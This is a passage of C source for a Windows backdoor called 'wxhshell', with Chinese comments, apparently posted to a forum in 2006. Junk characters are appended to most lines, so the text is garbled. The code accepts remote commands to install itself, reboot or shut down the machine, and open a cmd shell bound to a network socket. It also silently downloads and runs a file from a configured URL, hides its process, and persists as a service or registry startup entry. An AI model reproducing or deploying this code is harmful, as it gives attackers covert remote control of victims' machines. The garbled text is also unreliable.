  case '?': { 24 1*!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @(r /dZc  
    break;  hI9  
  } >pUtwIP  
  // 安装 =UyLk-P w  
  case 'i': { jw-0M1B  
    if(Install()) PkI:*\R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 87hq{tTs]  
    else &0f5:M{P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vfVj=DYj  
    break; {G?N E  
    } y;/VB,4V  
  // 卸载 Zd"^</ S  
  case 'r': {  : ]C~gc  
    if(Uninstall()) RKPO#qju\F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ua!aaq&  
    else 6@DF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fb^fVSh>  
    break; ]_N|L|]M  
    } 95el'K[R  
  // 显示 wxhshell 所在路径 )"Ztlhs`#  
  case 'p': { d!eYqM7-G  
    char svExeFile[MAX_PATH]; x.S3Zi}=  
    strcpy(svExeFile,"\n\r"); M4as  
      strcat(svExeFile,ExeFile); f^W;A"+  
        send(wsh,svExeFile,strlen(svExeFile),0); 9 (QJT}qC  
    break; j?'GZ d"B  
    } .Wjs~0c  
  // 重启 H;RwO@v  
  case 'b': { "AE5 V'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Omd .9  
    if(Boot(REBOOT)) ]+X@ 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.mVO]dsj  
    else { -GxaV #{  
    closesocket(wsh); B}^w_C2  
    ExitThread(0); Hh+ 2mkg  
    } eM8}X[  
    break; '- zD  
    } dAuJXGo  
  // 关机 82l~G;.n3  
  case 'd': { &jmRA';sK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K6R.@BMN  
    if(Boot(SHUTDOWN)) TYW&!sm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =>-Rnc@  
    else { #ep`nf0x  
    closesocket(wsh); 'inFKy'H  
    ExitThread(0); )ut&@]  
    } F w?[lS  
    break; M3.do^ss  
    } Ofs <EQ  
  // 获取shell $< JaLS  
  case 's': { 9 AJ(&qY(  
    CmdShell(wsh); <7~'; K  
    closesocket(wsh); A}l3cP; `#  
    ExitThread(0); WPQ fhr#|  
    break; a |X a3E  
  } ui?  
  // 退出 &v@a5L  
  case 'x': { LGn:c;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }4,L%$@n  
    CloseIt(wsh); 'dn]rV0(C  
    break; |p,P46I  
    } kDsFR#w&`  
  // 离开 \.-bZ$  
  case 'q': { T:~vk.Or  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FYpzQ6s~  
    closesocket(wsh); Abc)i7!.,.  
    WSACleanup(); V-BiF>+  
    exit(1); m^zUmrj[  
    break; 6e |*E`I  
        } HAa; hb  
  } *}*FX+px)  
  } Fe4(4  
z:wutqru  
  // 提示信息 %%[LKSTb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x<ZJb  
} -Fe?R*-g  
  } #pnI\  
)P sY($ &  
  return; NPp;78O0[  
} 'd9INz.  
%#kg#@z_`e  
// shell模块句柄 %lGl,me H  
int CmdShell(SOCKET sock) 9w7n1k.  
{ r97pOs#5:  
STARTUPINFO si; 2fL;-\!y(  
ZeroMemory(&si,sizeof(si)); 'DCTc&J['  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %iQD /iT5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8)_XJ"9)G  
PROCESS_INFORMATION ProcessInfo; JxM]9<a=4  
char cmdline[]="cmd"; MDnua  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  R[D{|K@"  
  return 0; do>wwgr  
} GBPo8L"9  
rD 3v$B  
// 自身启动模式 ;@oN s-  
int StartFromService(void) ^'PWI{ O  
{ v bZ}Z3f_  
typedef struct b0Ps5G\ u  
{ #cI{Fe0h  
  DWORD ExitStatus; 3EPv"f^V  
  DWORD PebBaseAddress; _uy44; zq  
  DWORD AffinityMask; w9EOC$|Y  
  DWORD BasePriority; H&-zZc4\  
  ULONG UniqueProcessId; X}Ai -D  
  ULONG InheritedFromUniqueProcessId; s Z].8.  
}   PROCESS_BASIC_INFORMATION; ?67Y-\}  
9sYMSc~Bm  
PROCNTQSIP NtQueryInformationProcess; z7fp#>uw  
I 7{T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #Lh;CSS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3YR!Mq$|~  
0AL=S$B)  
  HANDLE             hProcess; p8Qk 'F=h  
  PROCESS_BASIC_INFORMATION pbi; fHx*e'eA  
vdc\R?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ek*rp`y]  
  if(NULL == hInst ) return 0; %]}  
|ATvS2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;DfY#-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _@ qjV~%Sy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;U+3w~  
vN;N/mL  
  if (!NtQueryInformationProcess) return 0; 2K/4Rf0;  
nAsh:6${  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <L8'!q}  
  if(!hProcess) return 0; TNe l/   
@@Kp67Iv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K0|FY=#2y  
aC8} d  
  CloseHandle(hProcess); }C"%p8=HM  
8Fz#A.%P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dO! kk"qn  
if(hProcess==NULL) return 0; g}k`o!q  
iL-(O;n  
HMODULE hMod; -b9\=U[  
char procName[255]; 84& $^lNV  
unsigned long cbNeeded; /T0F"e)Ci  
On9A U:\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \/r}]Vz  
nS }<-s  
  CloseHandle(hProcess); P64PPbP  
823Y\x~>  
if(strstr(procName,"services")) return 1; // 以服务启动 a/4T> eC  
l *(8i ^  
  return 0; // 注册表启动 &N^9JxN?8  
} !C ':  
& p  
// 主模块 dd%6t  
int StartWxhshell(LPSTR lpCmdLine) p_gm3Q  
{ C!<Ou6}!b  
  SOCKET wsl; xX&+WR  
BOOL val=TRUE; ^1I19q  
  int port=0; 4 #MtF'J  
  struct sockaddr_in door; y@S$^jk.  
!GjQPAW  
  if(wscfg.ws_autoins) Install(); iy.p n  
y&$A+peJ1  
port=atoi(lpCmdLine); {H>gtpVy  
Uiw2oi&_  
if(port<=0) port=wscfg.ws_port; EHJ.T~X  
)hsgC'H{~]  
  WSADATA data; yLvDMPj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hn G Z=  
zFfr. g;L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <44G]eb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AofKw  
  door.sin_family = AF_INET; xef% d G.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Di6?[(8  
  door.sin_port = htons(port); A:%`wX}  
yS'I[l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X 'Xx"M  
closesocket(wsl); AO4U}?  
return 1; 6@5+m 0`u3  
} Tx# Mn~xD  
_ ]ip ajT  
  if(listen(wsl,2) == INVALID_SOCKET) { F v2-(  
closesocket(wsl); 'o2Fa_|<#  
return 1; Se}c[|8  
} IFL*kB   
  Wxhshell(wsl); A|4[vz9>H  
  WSACleanup(); IM'r8 V  
.uZ3odMlx  
return 0; oJz^|dW  
\!ZTL1b8t  
} QA`sx  
)Nw8O{\  
// 以NT服务方式启动 YK'<NE3 4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n b?l TX~  
{ .|70;  
DWORD   status = 0; |0b`fOS  
  DWORD   specificError = 0xfffffff; i[3'ec3  
[}=B8#Jl-C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ![=yi tB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f}P3O3Yv&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6A-|[(NS  
  serviceStatus.dwWin32ExitCode     = 0; 904}Jh,  
  serviceStatus.dwServiceSpecificExitCode = 0; G5 WVr$  
  serviceStatus.dwCheckPoint       = 0; |u<7?)mp  
  serviceStatus.dwWaitHint       = 0; wlqksG[B  
\Gvm9M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cdT7 @  
  if (hServiceStatusHandle==0) return; ea 'D td  
}&J q}j  
status = GetLastError(); 'zTLl8P  
  if (status!=NO_ERROR) dUZ ,m9u  
{ (hbyEQhF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }S-O& Z  
    serviceStatus.dwCheckPoint       = 0; $<EM+oJ|ER  
    serviceStatus.dwWaitHint       = 0; 8(~ h"]`!  
    serviceStatus.dwWin32ExitCode     = status; hHnYtq  
    serviceStatus.dwServiceSpecificExitCode = specificError; !pX>!&sb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3XV/Fb}!(i  
    return; 0aB;p7~&  
  } W^l-Y %a/o  
'5$b-x6F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q@8*Xa>  
  serviceStatus.dwCheckPoint       = 0; }K|oicpUg  
  serviceStatus.dwWaitHint       = 0; p<"mt]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4|DWOQ':  
} 2P0*NQ   
EaN6^S=  
// 处理NT服务事件,比如:启动、停止 XXa|BZ1RX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rima;9.Y0  
{ jNk%OrP]  
switch(fdwControl) 2BwO!Y[  
{ wnC81$1l~  
case SERVICE_CONTROL_STOP: 0 kW,I  
  serviceStatus.dwWin32ExitCode = 0; "4{r6[dn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &F~T-i>X  
  serviceStatus.dwCheckPoint   = 0; (9dl(QSd  
  serviceStatus.dwWaitHint     = 0; /%^#8<=|U  
  { N~'c_l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c\j/k[\<  
  } G4"F+%.  
  return; Cw&KVw*  
case SERVICE_CONTROL_PAUSE: Cp0=k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F:S}w   
  break; =t?F6)Q  
case SERVICE_CONTROL_CONTINUE: O:K2Y5R?B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y.p;1"  
  break; LKDO2N  
case SERVICE_CONTROL_INTERROGATE: VI *$em O0  
  break; >XfbP]  
}; RZTiw^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yJIscwF  
} ;aVZ"~a+\  
Ig{0Z">  
// 标准应用程序主函数 dSHDWu&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }Zp,+U*"  
{ La[V$+Y  
do'GlU oMC  
// 获取操作系统版本 493*{  
OsIsNt=GetOsVer(); wUJcmM;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5|)W.*Q  
x]j W<A  
  // 从命令行安装 cFXp  
  if(strpbrk(lpCmdLine,"iI")) Install(); x kD6Iw  
2&cT~ZX&'  
  // 下载执行文件 kyV8K#}%8  
if(wscfg.ws_downexe) { @2i9n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &UFZS94@r  
  WinExec(wscfg.ws_filenam,SW_HIDE); #AY&BWS$  
} +lTq^4  
|Y.?_lC  
if(!OsIsNt) { :Zlwy-[  
// 如果时win9x,隐藏进程并且设置为注册表启动 0=$T\(0g  
HideProc(); 'Pbr v  
StartWxhshell(lpCmdLine); #5uOx(>  
} uXiN~j &Be  
else ?e?!3Bx;EM  
  if(StartFromService()) t_1L L >R  
  // 以服务方式启动 /x *3}oI  
  StartServiceCtrlDispatcher(DispatchTable); 3XNCAb2  
else DHRlWQox  
  // 普通方式启动 * v#o  
  StartWxhshell(lpCmdLine); ;kKyksxlD  
dc'Y `e  
return 0; 4<v&S2Yq  
}
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只看该作者 1 发表于: 2006-10-10
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